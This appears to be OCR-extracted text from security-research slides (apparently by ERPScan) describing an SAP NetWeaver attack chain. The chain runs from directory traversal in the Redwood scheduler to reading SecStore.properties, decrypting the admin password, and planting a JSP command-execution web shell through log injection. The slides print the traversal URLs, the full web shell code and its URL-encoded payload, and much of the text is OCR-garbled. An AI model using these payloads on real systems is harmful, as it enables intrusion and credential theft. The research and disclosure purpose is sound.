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~ + What is NetWeaver?

H_°W. to deploy apps?
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Redwood

K Where I can flnd it?

. How fo gei access’?
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SAP notes By Year
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CVE-2017-6950

Location: SAP GUI

Type: RCE

CVE-2017-7717

Location: SAP NetWeaver

Type: SQL to RCE

CVE-2017-9844

Location: SAP Net\Weaver

Type: Java deserialization

CVE-2017-11459

Location: SAP TREX

Type: RCE
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How to get admin privileges in SAP?

How to get admin privileges in SAP?

Over 500+ companies has vulnerable CTC servlet (RCE, 2011 year)

3 Java serialization exploits (RCE without authorization 2015)
Information disclosure + SQL injection + Cryptolssue + MissConfig = RCE
(Blackhat 2016)

DoS + DoS + RaceCondition + AuthBypass = RCE (Troopers 2016)

| Anon Directory Traversall+ Escalation Privileges = RCE ( we waiting to fix)

- €
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ABAP Dispatcher
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¥ | sap.com
Home Share

Usr

3 Quick access
[ This PC

¥ Metwork

View

sap JUp 100 & jlee cluster

o

Mame

_activity_reporting_wd_hook
adec.editor
appadmin.dbschema
applications&dminipp
be.uwl.ctc.content

bi~alv

bi~alv~common
bi~alv~pdf
bi~alv~service
bi~ah~techinfo
bi~alv~testapps
bi~alhv-~ui

bi~mmr~bi_gar
bi~mmr~cwm_1.0_ear
bi~mmr-gjb
bi~mmr~metamodel_ear
bi~mmr-~mini_md_ear
bi~mmr~mini_mm_ear
bi~mmr~mof_1.4_ear
bi~mmr~reportmodel_ear

bi~mmr~webToolsEAP

1,429 items 1,429 items selected State: _T’ Shared

apps

sap.com

Date modified
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Location: SAP NetWeaver AS Java WD CHAT
CVE-2016-3973 . . —
Type: Information Disclosure vulnerability
http://host:port/ / resources / sap.com / / Chat#

+ j2ee = duster -~ apps = sap.com - tcrrtcecoll.appl.rtcewd_chat = servlet_jsp = webdynpro - resources - sap.com = tcertcecoll.appl.rtcrwd_chat -

Open Indudeinlibrary *  Sharewith +  Mew folder

MName Date modified

B oot 4f7/2015 5:08 PM File folder
tempwaork 4/8/2015 1:13 PM File folder

work 4/7(2015 5:08 PM File folder

B sap.comn~tcrrtcrecol,appl.rtcewd _chat.war 4/7(2015 5:08 PM
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Location: SAP NetWeaver AS Java WD _CHAT
CVE-2016-3973 . . —
Type: Information Disclosure vulnerability
http://host:port/ / resources / sap.com / / Chat#

171

= j2ee ~ duster = apps ~ sap.com - tc~rtc~coll.applrtcewd_chat - servlet_jsp = webdynpro tc~rtc~coll.appl.ricwd_chat

, Open  Indudeinlibrary +  Sharewith +  Mew folder

MName Date modified

B oot 4f7/2015 5:08 PM File folder
tempwaork 4/8/2015 1:13 PM File folder

work 4/7(2015 5:08 PM File folder

B sap.comn~tcrrtcrecol,appl.rtcewd _chat.war 4/7(2015 5:08 PM
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http://host:port/ / resources / sap.com / / Chat#

j e t\root\WEB-INF\webdynprosoml
IB‘1::'1,,l|5r".,,s.i||:||".,,[:ﬁl'»‘lﬂ".,,]i]lll'1Li2~1:q=_-".,,~1:Illsher".,,ilpn[:lrsi".,,-r..a|.':.A1::|:|nm".,,t«:r\rrt«:rmm:lnll..il|:|n[:||Lrt4:--~r'|||-.|'ll_~1:hilt'1,,5a=_-|'I|.|I'In=_~t _jsp\webdynpro\resources\sap.com\tc~rtco-collappl.rtc~wd_chat) {) \webdy
File Edit Search View Encoding Language Settings Maco Run Plugins  Window 7

o : a 9 =l | |__

|=| webdynpro xml &
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SAP NETW SAP NETWEAVER 7.5/ CENTRAL PR(
SAP CPS BY REDWOOQD 8.0

DOWNLOADS

d and unpacked. For more details on

ltems Awailable to nload (1) # (03 INDEPENDENT - ATABASE INDEPENDENT - o

Patch Level File Type e lelease Date Change Date Related Info

14
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@NW74: SAP NetWeaver 7.4 Support Release 2 = SAP ASE > SAP Systems > Application Server Java > St... [l

Selectthe producti

SAP NETWEAVER

sage types)that are required to implement your business proc

Application Server Java is
a (for example, &

|
O
O
[

=

I

FOF Export

Additional Information

The software information related to the in ed product instances i red in dedicated SAP : This information is
later used for the maintenance ofthe in ed software. For more information, see SAP Note ote i ation of product
insta not supported.
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Share

This PC Local Disk (C:) usr » sap JUP 5 JOO » j2lee » cluster » apps

Mame B Date modified

3 Quick access
com.adobe 1272172017 913 AM ile folder
E This PC redwood.com 2/2/2018 1220 AM  File folder

Eap.Com 125272017 12:08 ile folder

oF Metwork

h

3 B¢
g &
>

"” d-)

1%
g
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= | servlet_jsp
Home Share

This PC Local Disk [C:) 0D » j2ee » cluster » apps redwood.com scheduler-ear

Mame h Date modified Type

3 Cuick access
scheduler 222018 1.2:19 A File folder

A This PC

¥ Metwork

7 X

5 B¢
o A
7
D

"” {,q'f

Q%
8



O ERPScan

s=p SAP Central Process Sche X

&< C A Notsecure | hips;//172.16.10.65:50001/scheduler/ui

SAP Central Process Scheduling by Redwood

Login

Please login
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s=p SAP Central Process Sche X

&< C A Notsecure | hips;//172.16.10.65:50001/scheduler/ui

SAP Central Process Scheduling by Redwood

Login

Please login
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javascript/old/futils.q




http-equiv="keywords" content
http-equiv="description” conten
http-equiv="content-type"” content

in_login_popup_open()




»SAP Central Process Scheduling by Redwood leogin</title:

' -:n:-""tE|'|1:="-Z:I"::lr'l-EI:::|.E'_1 jl::'_'.- =_=|:hE|:L.lir'|g_. :!.-E-:j'.';::n::d_, FE:EFH::|---|:;.'-_!I_-j.3};:_r 5..'_-||:-_I SAP Pinnacle

Javascrip )
_login popup open()
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v Computer ~ Local Disk iC:) v usr v sap v DMO ~ J0O v j2ee v duster ~ apps ~ redwood.com ~ scheduler-ear ~ serviet jsp ~ scheduler ~ root ~ black ~ javascript ~ old

Indude inlibrary v Sharewith ¥  New folder

Name *

_gﬂ utils.js

= | utilsT18N.jsp

Date modified Type

1/29/2018 2:29 PM JScript Script File
1/29/2018 2:29 PM JSP File
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Path on filesystem:

C:/usr/sap/<SID>J00/j2ee/cluster/apps/redwood.com/scheduler-ear/serviet_jsp/scheduler/
root/black/

Url:

https://host:port/scheduler/ui/js/ffffffffbac53543/UlUtilJavaScript)S?



https://host:port/scheduler
/ui?



https://host:port/scheduler
fui?z



https://host:port/scheduler
/Ui?z



https://host:port/scheduler
/ui?aaf/



https://host:port/scheduler
/Ui?aa/aa/aa/aa;/aa/

3% / 3% / 3% / 3% / 3% / 3% /
23/



https://host:port/scheduler
/Ui?aa/aa/aa/aa;/aa/

% % / % % / % % / % % / % % / % % /

aa,,/Windows /Win.ini
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7 172.16.10,65:50001 fscheduler/ . ¥

& C M

;s for le-bit app support
[font=]

[extensions]

[mci extensions]

[file=]

[Mail]

MLET=1
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JUST REPORT IT
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< C A Notsecure | bttps.//172.16.10.65:50001/scheduler/ul/js/2../ ./ Lol fodd Jddd ddd ] Just/sap/DMO/SYS/global/security/data/SecStore.properties  ¥¥

Don't edit th

2015

s b o

K 2UFNHBSPtwfcwOAPg FEBAL\r\n+UgoBmCeIBVIIo/MhHETeDdmK+DznC74S3IAZNiGR+NS1UgaTXFLMujCilonsd4R\r\nK1/FYVINS
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SecStore in SAP is like the Death Star's thermal exhaust port:

S

A little weakness in the center of a fortified system
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SecStore.properties
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SecStore.key SecStore.properties
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SecStore.key SecStore.properties

Administrator credentials

Database credentials
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SecStore ecryptor
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SecStore ecryptor

SecStore.key
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SecStore ecryptor

SecStore.key

Hardcoded key
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SecStore ecryptor

SecStore.key

XOR

Hardcoded key The real key
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SecStore ecryptor

SecStore.key SecStore.properties

XOR

Hardcoded key The real key
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ecStore LUecryptor

SecStore.key SecStore.properties

XOR 3DES Admin

(CBC) Password
The real key
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ecStore LUecryptor

SecStore.key SecStore.properties

XOR 3DES Admin

(CBC) Password
The real key

PBEWithSHAANd3KeyTripleDESCBC
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SAP Central Process Scheduling by Redwood

Support

Login

Please login




wood login - Mozilla Firefox

v ' 172.16.10.65

SAP Central Process Scheduling by Redwood VB

User Log-in




SAP Central Process Scheduling by Redwood Support

Enter Company

€ You do not have a valid license. Specify your
oraer o generate a license request
Company Name: test

Contract: Test

Force request
generation

Request Key for Enterprise License

Activate Free of Charge License




SAP Central Process Scheduling by Redwood

License Result

u Your system now has a valid license. Pl




= SAP:DMO_00[GLOBAL]: -
)% e
x B - : Welcome, Administrator, @SAP-DM0_00[GLOBAL] ©
= W . ¢ _- : . . ry SEar obs
o > & ¥ B Search Jobs.. © O -

Monitoring

Description = g dinit Job ID 1 Status Sci

':-;l_ 7 Perform any long running actions required... ~‘S-:-'stem_u pgrade 21 Completed 10:

[12]

Calendar

Dashboard

A

Operator Messages

-

. &
: % Monitor Tree

t
\ "r“ - < r
Dhone Access
)
¥ ==
‘ S

peorecard

5

Vi B




What do we have now?



Findings

|. Anon directory traversal
in scheduler by Redwood



Findings

|. Anon directory traversal
in scheduler by Redwood

Il. Decryption tool to get
administrator password



Findings

|. Anon directory traversal
in scheduler by Redwood

Il. Decryption tool to get
administrator password

1. 2?7
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Customer Relationship Management

"Was ist das ???"




Customer Relationship Management

 Emails, telephones, chats,
marketing materials, social
NELIER

* Analysing target audiences
 Kind of collaboration
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Z7 SAP E-Commerce Admi

C | A Notsecure | https//172.16.10.65

w SAP E-Commerce Administration Console

I Main Menu

figure and monitor vario arts of the application.

ools on the laft,

Connector Pools
CCME Heartbeat Customizin

Migration to
MetWeaver 04

Scheduler Administration

Logging

[]
[]
[]
D]
[]
[]
[]
[]
[]

Varsion




Log configuration...

SAP E-Commerce Administration Console

I Main Menu I Logging

II' Extended Configuration Management
[XCM} Administration

|ﬂ More information on logging with E-Commerce can be found in note 1090753,

Aoplication Cache Statistics

. Log Configuration Session Logging
Catalog Cache Statistics

Aoplication System Cache Statistics

Location Name

Jawva Connector Pools

com.sap.isa (Re)Load Create Configuration
CCMS Heartbeat Customizing

Lean Basket Data Migration to Location Effective Severity Destination Path Limit Count Formatter Pattern n Formatter Type

MetWeaver 04

com.sap.isa JloafdefaultTrace_00.kre Jleg 10485760 20 none ListFormat

Scheduler Administration

Show Files Edit Config
Logaing

MEE FEFEEFE

Wersion




Logging

com.sap.isa

Effective

Location Cewerity

com.sap.isa Al

can be found in note 1090753,

Destination

Location Name

Create Configuration

Limit

Count Formatter Pattern n

Formatter
Type

ListFormat




root
1@}

Organize ¥ Indudeinlibrary v  Share with

Name *

MNew folder

Date modified

- Local Disk (C:) ~usr vsap vDMO ~ JOO ~ j2ee ~ cluster ~ apps v sap.com v com.sap.engine.dbcs.examplés - serviet jsp ~ __defadlt v root ~

Type

r Favorites
B Desktop css

g Downloads META-INF

Recent Places WEB-INF

=7 favicon.ico
Libraries o _
2 | index.jsp

= | shell.jsp

| startPagl isp

:' {
‘.' /‘\. \
. »

tu Network d

AN

= Documents
@' Music

k| Pictures

=4 videos

/& Computer
£7 Local Disk (C:)

(TS0

4/7/2015 4:56 PM
4/7/2015 4:56 PM
4/7/2015 4:56 PM
4/7/2015 4:56 PM
4/7/2015 4:56 PM
6/14/2017 11:06 AM
4/7/2015 4:56 PM

File folder
File folder
File folder
Icon

JSP File
JSP File
JSP File




SAP SYSTEM




SAP AS JAVA




SAP AS JAVA

Applications




SAP AS JAVA

Applications
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SAP AS JAVA

Applications
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SAP AS JAVA

Applications

Database




DHPH P

SAP AS JAVA

Applications

Logs
A

Database




DHPH P

SAP AS JAVA

Applications

Logs
A

Database




SAP AS JAVA

q Applications

Logs
A

Database

SAP AS JAVA




SAP AS JAVA

Applications

Logs
A

Database

SAP AS JAVA

Applications




SAP AS JAVA

Logs
A

Applications

Database

SAP AS JAVA

Applications

Database




SAP AS JAVA

Logs
A

Applications

Database

SAP AS JAVA

Applications

Database
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DHP

SAP AS JAVA

Applications

Logs
A

Database

SAP AS JAVA

Applications

Database
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DHP

SAP AS JAVA

Applications

Logs
A

Database

SAP AS JAVA

Applications

Database
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DHP

SAP AS JAVA

Applications

Logs
A

Database

SAP AS JAVA

Applications

<

Database
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SAP AS JAVA

Logs
A

Applications

Database

SAP AS JAVA

Applications

<

Database
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Before

Log file extension: *.ilog, *.xml or *.trc
Access via browser: DENIED
URL: None

Path on file system:
C:\usr\sap\DMO\JOO\j2ee\cluster\serverO\log\

After

Log file extension: *.
Access via browser:
URL: https://host:port/

Path on file system:
C:\usr\sap\DMO\JOO\j2ee\cluster\




<% @ page import="java.util.*,java.io.*"%>
<%
if (request. (" ") 1= null)
{
Process p = : (). (request.
OutputStream os = p.getOutputStream();
InputStream in = p.getinputStream();
DatalnputStream dis = new DatalnputStream(in);
String disr = dis.readLine();
out.printin ("<PRE>");
while ( disr = null)
{
out.printin(disr);
disr = dis.readLine();

}
out.println ("</PRE>");

%>




Z™ User Management, SAP AG

# (€) 08 hitps//172161065 +y O

‘INT 'i = @& SQL- XSS- Encryption- Encoding- Other-

@ LoadURL  hitps//172.16.10.65:50001/b2b/init.do?"]%3c%25%40+ page+import?a3d”java.util.” java.io.*" %25> %3 c %a5+if + (request. g etParameter(" cnd")+ %3 d+ null)
O ot URL {Process+p+ %3d+Runtime.getRuntime(). exec{request.getParameter("cmd")) 33k OutputStream + os+ %63 d+ p.getOutputStream () 33 b+ InputStream + in+ 33 d + pogetlnputStream | =
%  apitll (%63 b+ DatalnputStream+ dis+ %3 d+ new+ DatalnputStream(in) %3 b+ String+ disr+ %3 d+ dis.readLine() 3a3b+out.printIn{" < PRE= ") %3 b+while+ (+ disr+! %23 d+ null+ )+

» Execute {out.printin{disr) %3bdisr+ %3ddis.readLine() %a3blout.printin(" < /PRE> ") %3b}+ 3a25=["#

Enable Post data Enable Referrer

User

Password




E’ C:\usr\sap\DM0\J00\j2ee\cluster\apps\sap.com\com.sap.engine.docs.examples\serviet_jsp\_default\root\shelljsp - N... [ l[=] B3

F:le Edit Search View Encodmg Language Settings Maco Run Plugins Window ? X

o o= v L o (=,

00000021C6AE#b2a25f41008311e880480000002106ae#b2a25f41008311e880480000002106ae

#0#Thread [HTTP Worker [G2004755141],5,Dedicated Application Thread] #Plain##
request.parameter. ["]<3%@ page import="java.util.¥*,java.io.*"$><% if |
request.getParameter ("gnd"™) != null) {Process p = Runtime.getRuntime () .exec |
request.getParameter } ;CutputStream o8 = p.getCutputStream(); InputStream in
= p.getInputStream(); DataInputStream dis = new DatalInputStream(in); String disr
= dis.readLine(); out.println("<PRE>"); while ( disr != null } {out.println(disr):;
disr =dis.readLine();out.println{ E >y S>["]="" #

#2.0E89#2018 01 23

300000021C6AE#b2a25f4100831138804800000021c6ae#b2a25f41008311e880480000002106ae
#O#Thread[HTTP Worker [@2004755141],5,Dedicated Application Thread]#Plain##
_____ he.struts.action.mapping. instance]="ActionConfig[path=/p

.,_I__‘,.epareloglg:g p parameter=no}{s rf,scope=session, type=gom.sap.jisa.user.action.Preparelogi
nBaseAction"#

#2.0E8#2018 01 23
13:40:24:346#0-800#Debug#gcom.sap.isa.user.action.PreparelLoginBaseAction#
#CRM-ISA-BBS#sap m/crm~b2b#CO00AC100A4101E5000002D800000F00£#2213550000000004#sap.
rm~b2b#com. .isa.user.action.PreparelLoginBaseAction#Guest#0##04EB9912008611E
881E300000021C6AE#b2a25f41008311e880480000002106ae#b2a25f41008311e880480000002106ae
#0#Thread [HTTP Worker [G2004755141],5,Dedicated . Appllcatlon Thread] #Plain## =

request.attribute. [sat.monitor.core.isa. .Com Isa_v_l

£441600 lines : 35659 Ln:34508 Col: 150 Sel:0 |0 Dos\Windows IUTF-8 wjo BOM NS 4



#2.042018 02 11 13:21:01:332#0-800#Debug#com.sap.isa.user.action.LoginBaseAction#

H#CRM-ISA-
BBS#sap.com/crm~b2b#CO00AC100A410073000004A90000110C#22135500000000044s
ap.com/crm~b2b#com.sap.isa.user.action.LoginBaseAction#Guest#O##74C4C72B0OF7111
E8B17500000021C6AE#c1229d500d1811e8a25b00000021c6aeHc1229d500d1811e8a25
b00000021c6ae#0#Thread[HTTP Worker

[@2035997437],5,Dedicated_Application_Thread]#Plain##frequest.parameter.["]<% @
page import="java.util.*,java.io.*"%><% if request.getParameter("cmd") 1=
null){Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream(); InputStream in = p.getlnputStream();
DatalnputStream dis = new DatalnputStream(in); String disr = dis.readLine();
out.printin("<PRE>"); while ( disr != null ) {out.printIn(disr);disr
=dis.readLine();}out.printin("</PRE>");} %>["]="" #

#2.042018 02 11 13:21:01:332#0-800#Debug#com.sap.isa.user.action.LoginBaseAction#




https://host:port/shell.jsp?cmd=

ERRr = S X REL x : T —— z T z oo e T * S o S

BBS#sap.com/crm~b2b<CO00AC §3C30000011 AB0#221355000C
w68 ; ication_Thread]#Plain## request parameter.

Worker
Configuration

- Local Area Connecti
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78 United States

42 Indla & ‘j?

38 Chile

28 Germany
25 Brazil

23 Australia

19 France
13 Singapore
12 Turkey

12 Taiwan

11 Spain

11 Republic of Korea
11 Colombia
10 Italy

9 Russian Federation

kk ok

Almost public SAP servers are
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 Update CRM ( )
PATCH - UpgradetoRedwood?
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THANK YOU

¢ Read our blog
/ erpscan.com/category/press-center/blog/

Join our webinars
erpscan.com/category/press-center/events/

Subscribe to our newsletters
eepurl.com/bef7h1l
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